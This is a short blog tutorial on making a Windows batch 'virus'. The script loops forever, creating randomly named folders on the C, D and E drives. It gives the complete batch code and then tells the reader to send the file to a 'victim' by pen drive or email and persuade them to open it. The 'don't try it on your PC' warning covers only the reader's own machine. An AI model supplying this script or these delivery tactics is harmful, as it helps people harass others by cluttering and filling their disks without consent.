A simple virus can do nothing but it can bother you by creating too many folders in C, D, E and on Desktop also. Lets create this file by 2 simple steps.
Step 1: Open Notepad and Copy the Following code in Notepad.
Open your notepad from [Start >> Run >> Type "Notepad" >>Press Enter ]
Copy the Following Code and paste it in notepad then Save it as "virus.bat". [you can also save with different name but extension must be .bat]@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM errorcodexin.blogspot.com
Step 2: Give it to Victim
Now Give this file to Victim via Pen-drive or Mail then ask to Open it.It will Create More Folder in C,D,and E drive.
Warning: Don't try it on your PC.